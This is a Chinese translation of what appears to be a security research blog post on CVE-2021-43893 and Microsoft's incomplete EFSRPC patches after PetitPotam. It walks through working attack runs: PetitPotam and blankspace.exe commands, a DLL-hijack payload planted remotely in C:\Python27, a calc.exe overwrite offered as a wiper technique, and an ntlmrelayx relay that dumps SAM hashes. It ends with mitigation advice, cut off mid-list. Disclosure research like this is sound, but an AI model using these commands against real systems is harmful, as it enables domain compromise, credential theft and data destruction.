2021 年 12 月 14 日,在Log4Shell混乱期间,微软发布了CVE-2021-43893,这是一个影响 Windows 加密文件系统 (EFS) 的远程提权漏洞。该漏洞归功于Google Project Zero的James Forshaw,但可能是由于 Log4Shell 的氛围,该漏洞几乎没有引起注意。
2022 年 1 月 13 日,Forshaw在推特上发布了有关该漏洞的信息。
该推文表明 CVE-2021-43893 仅在 2021 年 12 月的更新中发布了部分修复程序,并且经过身份验证的远程用户仍然可以在域控制器上写入任意文件。James 链接到 Project Zero bug tracker,其中存储了扩展的文章和一些概念验证代码。
我对这个漏洞特别感兴趣,因为我最近发现了一个在 Windows 产品中使用文件植入的本地权限提升 (LPE)。易受攻击的产品可以合理地部署在具有无约束委派的系统上,这意味着我可以使用 CVE-2021-43893 作为低权限远程用户远程植入文件,将我的 LPE 变成 RCE。
我着手调查 James Forshaw 的错误的远程文件写入方面是否真的没有修补。调查得出了一些有趣的观察结果:
efsrpc
被纳入PetitPotam以来,对命名管道发起的中继攻击就为人所知。尽管尝试了多次补丁,但问题似乎仍然存在。虽然这个漏洞的文件上传方面已经被修补,但我发现这个漏洞很有趣。该漏洞肯定受到低权限用户可以在域控制器上创建文件的限制的限制,也许这就是该漏洞没有受到更多关注的原因。但正如我所提到的,它可以与本地漏洞配对以实现远程代码执行,因此我认为它值得更多关注。我还发现未能正确修补EFSRPC协议上的强制身份验证值得更多检查。
PetitPotam 于 2021 年夏天发布,与攻击链广泛相关,该攻击链以未经身份验证的远程攻击者开始,以域管理员权限结束。PetitPotam只是该链条的开始。它允许攻击者强制受害者 Windows 计算机向第三方进行身份验证(例如MITRE ATT&CK T118 - 强制身份验证)。完整的链很有趣,但这个讨论只对 PetitPotam 触发的初始部分感兴趣。
PetitPotam 使用 EFSRPC 协议触发强制身份验证。该漏洞利用的原始实现通过lsarpc
命名管道执行攻击。攻击非常简单。最初,PetitPotam 向受害者服务器发送了一个包含UNC 文件路径的请求。使用诸如强制受害者服务器访问第三方服务器(本例中为 10.0.0.4)之类的 UNC 路径,以便读取所需的文件共享。然后,第三方服务器可以告诉受害者进行身份验证以访问共享,并且受害者有义务。结果是受害者泄露了他们的 Net-NTLM 哈希。这就是全部。稍后我们将讨论攻击者可以使用此哈希做什么,但在本节中,这就是我们需要知道的全部内容。EfsRpcOpenFileRaw
\\10.0.0.4\fake_share\fake_file
微软于 2021 年 8 月首次尝试通过阻止使用命名管道来修补 EFSRPC 强制身份EfsRpcOpenFileRaw
验证lsarpc
。为此,他们在efslsaext.dll
'sEfsRpcOpenFileRaw_Downllevel
函数中添加了逻辑,以检查存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowOpenRawDL
. 由于默认情况下此注册表项不存在,因此典型配置将始终无法通过此检查。
该补丁是不够EfsRpcOpenFileRaw
的,因为它不是唯一接受 UNC 文件路径作为参数的 EFSRPC 函数。PetitPotam 很快被更新为 use EfsRpcEncryptFileSrv
,就这样,补丁被绕过了。
该补丁还未能识别lsarpc
命名管道不是唯一可以执行 EFSRPC 的命名管道。也可以使用命名管道(以及其他)。命名管道稍微不太理想,因为它需要对攻击者进行身份验证,但攻击是通过该管道进行的,并且它不使用该功能。这意味着攻击者也可以通过切换命名管道来绕过补丁。efsrpc
efsrpc``EfsRpcOpenFileRaw_Downlevel
如前所述,PetitPotam 在 2021 年 7 月更新为使用efsrpc
命名管道。以下输出显示 PetitPotam 强制域控制器在 2021 年 11 月之前通过攻击者控制的框进行身份验证,该框运行 Responder.py (10.0.0.6)(我省略了 Responder 位,因为这只是为了突出 EFSRPC 可用并且几个月没有打补丁)。
[email protected]:~/impacket/examples$ python3 petitpotam.py -pipe efsr -u 'lowlevel' -p ‘cheesed00dle!' -d okhuman.ninja 10.0.0.6 10.0.0.5
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | '
\
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN[-] Connecting to ncacn_np:10.0.0.5[\PIPE\efsrpc]
[+] Connected!
[+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
微软不仅没有修补这个问题,而且几个月都没有发布后续补丁。尽管该漏洞已包含在 CISA 的“已知被利用漏洞目录”中,但他们也没有更新他们的公告,表明该漏洞已被广泛利用。
2021 年 12 月,微软针对另一个 EFSRPC 漏洞发布了补丁:CVE-2021-43217。作为该问题补救措施的一部分,Microsoft对 EFSRPC 通信实施了一些强化措施。特别是,EFSRPC 客户端在使用 EFSRPC 时需要使用。如果客户端未能这样做,则客户端将被拒绝并生成 Windows 应用程序事件。RPC_C_AUTHN_LEVEL_PKT_PRIVACY
在 12 月补丁的时候,PetitPotam 没有使用这个特定的设置。然而,快速更新允许该漏洞利用符合新要求并返回泄漏完全修补的 Windows 机器的机器帐户 NTLM 哈希值。
James Forshaw 的 CVE-2021-43893 深入研究了 EFSRPC 功能,但问题的核心仍然是 UNC 文件路径问题。PetitPotam 的 UNC 路径指向外部服务器,但 CVE-2021-43893 在内部使用 UNC 路径指向:\\.\C:\
. 使用指向受害者本地文件系统的 UNC 路径允许攻击者在受害者文件系统上创建文件和目录。
这个漏洞有两个主要的警告。首先,这个漏洞的文件写入方面似乎只适用于无约束委派的系统。如果您只对域控制器感兴趣,那很好,但如果您只对工作站感兴趣,那就没那么好了。
其次,当文件操作发生时,受害者服务器正在冒充攻击者。这意味着低权限的攻击者只能写入他们有权限的地方(例如C:\ProgramData\
)。因此,导致代码执行的利用并不是给定的。尽管如此,虽然不能保证代码执行,但有许多可能的情况可能会导致出现这种情况。
我对这个漏洞的兴趣始于本地权限提升,我想将其转换为作为更高权限用户的远程代码执行。我们还不能共享 LPE,因为它还没有打补丁,但是我们可以创建一个合理的场景来展示实现代码执行的能力。
微软长期以来一直坚称,易受通过全球可写目录植入DLL的微软服务**不会修复**低安全性问题——考虑到修复此类问题需要付出的努力,这是一个奇怪的立场。但无论如何,通过 Windows 服务(MITRE ATT&CK - Hijack Execution Flow: DLL Search Order Hijacking)利用全局可写来提升权限是一种有用的技术。%PATH%``%PATH
有一个著名的产品将自己安装到一个世界可写的目录中:Python 2.7,一直到它的最终版本 2.7.18。
C:\Users\administrator>icacls.exe C:\Python27\
C:\Python27\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)Successfully processed 1 files; Failed processing 0 files
Python 2.7 安装程序将文件放入C:\Python27\
其中并向用户提供以下说明:
Besides using the automatically created start menu entry for the Python interpreter, you might want to start Python in the DOS prompt. To make this work, you need to set your %PATH% environment variable to include the directory of your Python distribution, delimited by a semicolon from other entries. An example variable could look like this (assuming the first two entries are Windows’ default):C:\WINDOWS\system32;C:\WINDOWS;C:\Python25
Typing python on your command prompt will now fire up the Python interpreter. Thus, you can also execute your scripts with command line options, see Command line documentation.
按照这些说明,我们现在有了一个全局可写目录%PATH%
——当然,这就是我们正在寻找的可利用条件。现在我们只需要找到一个 Windows 服务,它会在C:\Python27\
. 我通过在测试 Windows Server 2019 上重新启动所有正在运行的服务并观看procmon快速完成了这项任务。我发现一些服务会搜索C:\Python27\
:
要利用这一点,我们只需要删除一个名为fveapi.dll
or的“恶意”DLLcdpsgshims.dll
在C:\Python27
. 当易受攻击的服务重新启动或服务器重新启动时,将加载 DLL。
对于这个简单的示例,“恶意”dll 只是创建文件C:\r7.txt
:
#include <Windows.h>HANDLE hThread;
DWORD dwThread;
DWORD WINAPI doCreateFile(LPVOID)
{
HANDLE createFile = CreateFileW(L"C:\\r7.txt", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(createFile);
return 0;
}
BOOL APIENTRY DllMain( HMODULE, DWORD ul_reason_for_call, LPVOID)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, doCreateFile, NULL, 0, &dwThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译 DLL 后,攻击者可以C:\Python27
使用 CVE-2021-43893 远程将文件放入其中。以下是我们重构和更新版本的 Forshaw 原始概念证明的输出。攻击者试图在 10.0.0.6 (vulnerable.okhuman.ninja) 上远程写入 DLL:
C:\ProgramData>whoami
okhuman\lowlevelC:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Python27\fveapi.dll -i ./dll_inject64.dll
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Python27\fveapi.dll
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!
C:\ProgramData>
攻击会产生所需的输出,并将文件写入远程目标上的 C:\Python27\。
下面是 Procmon 输出,展示NT AUTHORITY\ SYSTEM
了在“DFS 复制”服务重新启动时成功执行的代码。请注意,恶意 DLL 已加载并创建文件“C:\r7.txt”。
许多管理员是否在其域控制器上安装 Python 2.7?我希望不是。那不是重点。关键是,使用这种技术进行利用是合理的,值得我们集体关注,以确保它得到修补和监控以进行利用。
奇怪的是,管理员可以做任何低级用户可以做的事情,除了将数据写入文件。当管理员尝试使用 Forshaw 的 ::DATA 流技术写入文件时,结果是 ACCESS DENIED 错误。坦率地说,我没有调查原因。
但是,有趣的是,管理用户可以远程覆盖所有文件。从进攻的角度来看,这并没有太大的作用,但可以作为一种简单、省力的擦除或数据破坏攻击。这是一个从管理员帐户远程覆盖 calc.exe 的愚蠢示例。
C:\ProgramData>whoami
okhuman\test_adminC:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Windows\System32\calc.exe -s "aaaaaaaaaaaa"
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Windows\System32\calc.exe
[+] Encrypt the empty remote file...
[-] EfsRpcEncryptFileSrv failed with status code: 5
C:\ProgramData>
从输出中可以看出,该工具失败,状态码为 5(拒绝访问)。但是,calc.exe
在远程设备上被成功覆盖。
从技术上讲,这并不代表真正跨越了安全边界。管理员通常可以访问 \host\C$ 或 \host\admin$,但行为上的差异似乎值得一提。我还要注意,截至 2022 年 2 月,管理用户仍然可以使用`\\localhost\C$\Windows\System32\calc.exe`.
Forshaw 在他的原始文章中也提到,我证实,这种攻击会在受害服务器上生成攻击用户的漫游配置文件。如果 Active Directory 环境同步漫游目录,这可能是一个非常有趣的文件上传向量。同样,我没有进一步调查,但它在正确的环境中可能很有用。
2021 年 12 月的补丁对CVE-2021-43893进行了多项更改efslsaext.dll
并导致部分缓解。其中一项变化是引入了两个新功能:和. 使用CreateW为攻击者提供的文件获取 HANDLE 。然后将 HANDLE 传递给,后者将 HANDLE 传递给以验证特征标志不包含FILE_REMOTE_DEVICE。EfsEnsureLocalPath``EfsEnsureLocalHandle``EfsEnsureLocalPath``EfsEnsureLocalHandle``NtQueryVolumeInformationFile
由于补丁仍然使用攻击者控制的文件路径打开 HANDLE,EFSRPC仍然容易受到机器帐户的强制身份验证和中继攻击。
强制身份验证和中继的演示不需要通常与 PetitPotam 相关的复杂攻击。我们只需要三个盒子:
中继 (10.0.0.3):一个运行ntlmrelayx.py
.
攻击者 (10.0.0.6):完全修补的 Windows 10 系统。受害者 (10.0.0.12):完全修补的 Windows Server 2019 系统。
此示例的唯一警告是受害者的机器帐户(又名计算机帐户)已分配给该Domain Admins
组。下面,可以看到机器账号为 10.0.0.12,YEET$,是Domain Admins
.
这可能不是一个常见的配置,但它很常见,以至于它已经成为几个 优秀文章的主题。
攻击是由低权限用户在 10.0.0.6 上使用blankspace.exe
概念证明发起的。攻击将强制 10.0.0.12 (yet.okhuman.ninja) 向 10.0.0.3 的攻击者中继进行身份验证
C:\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\10.0.0.3\r7\r7 --relay
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to yeet.okhuman.ninja
[+] Sending EfsRpcDecryptFileSrv for \\10.0.0.3\r7\r7
[-] EfsRpcDecryptFileSrv failed with status code: 53
[+] Network path not found error received!
[!] Success!C:\ProgramData>
Linux 中继正在运行ntlmrelayx.py并配置为将 YEET$ 身份验证中继到 10.0.0.6(原始攻击者框)。下面,您可以看到ntlmrelayx.py
捕获身份验证并将其发送到 10.0.0.6。
albinolobster@ubuntu:~/impacket/examples$ sudo python3 ntlmrelayx.py -debug -t 10.0.0.6 -smb2support
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation[*] SMBD-Thread-4: Connection from OKHUMAN/[email protected]10.0.0.12 controlled, attacking target smb://10.0.0.6
[*] Authenticating against smb://10.0.0.6 as OKHUMAN/YEET$ SUCCEED
中继现在已通过 10.0.0.6 作为YEET$
域管理员的身份验证。它可以随心所欲。下面,您可以看到它转储了本地 SAM 数据库。
[*] Target system bootKey: 0x9f868ddb4e1dfc56d992aa76ff931df4
[+] Saving remote SAM database
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6aa01bb4a68e7fd8650cdeb6ad2b63ec:::
[+] NewStyle hashes is: True
albinolobster:1000:aad3b435b51404eeaad3b435b51404ee:430ef7587d6ac4410ac8b78dd5cc2bbe:::
[*] Done dumping SAM hashes for host: 10.0.0.6
就这么简单。您所要做的就是在域管理员组中找到一个具有机器帐户的主机:
C:\ProgramData>net group "domain admins" /domain
The request will be processed at a domain controller for domain okhuman.ninja.Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator test_domain_admin YEET$
The command completed successfully.
C:\ProgramData>
一旦你有了它,低权限的远程攻击者就可以使用 EFSRPC 中继并升级到其他机器。然而,攻击并不是完全无声的。在 10.0.0.6 上,当 10.0.0.3 中继使用 YEET$ 机器帐户登录时,创建了事件 ID 4624。
最初是对使用未修补的远程文件写入漏洞的调查,最终成为 EFSRPC 补丁的历史教训。我最初想使用的远程文件写入漏洞已被修补,但我们证明强制身份验证问题尚未得到充分修复。毫无疑问,Windows 开发人员的工作很艰巨。但是,此处讨论的许多问题本可以通过 2021 年 8 月的合理补丁轻松避免。它们今天仍然存在的事实充分说明了 Windows 安全的当前状态。
为了尽可能最好地缓解这些问题,与往常一样,请确保您的系统每月成功更新。Microsoft 已发布多项建议,其中包含有关基于 NTLM 中继的攻击的建议(请参阅:Microsoft 安全公告 974926和KB5005413:减轻对 Active Directory 证书服务 (AD CS) 的 NTLM 中继攻击。最重要的建议是确保 SMBv1 不再存在于您的环境并要求 SMB 签名。
其他一些一般性建议: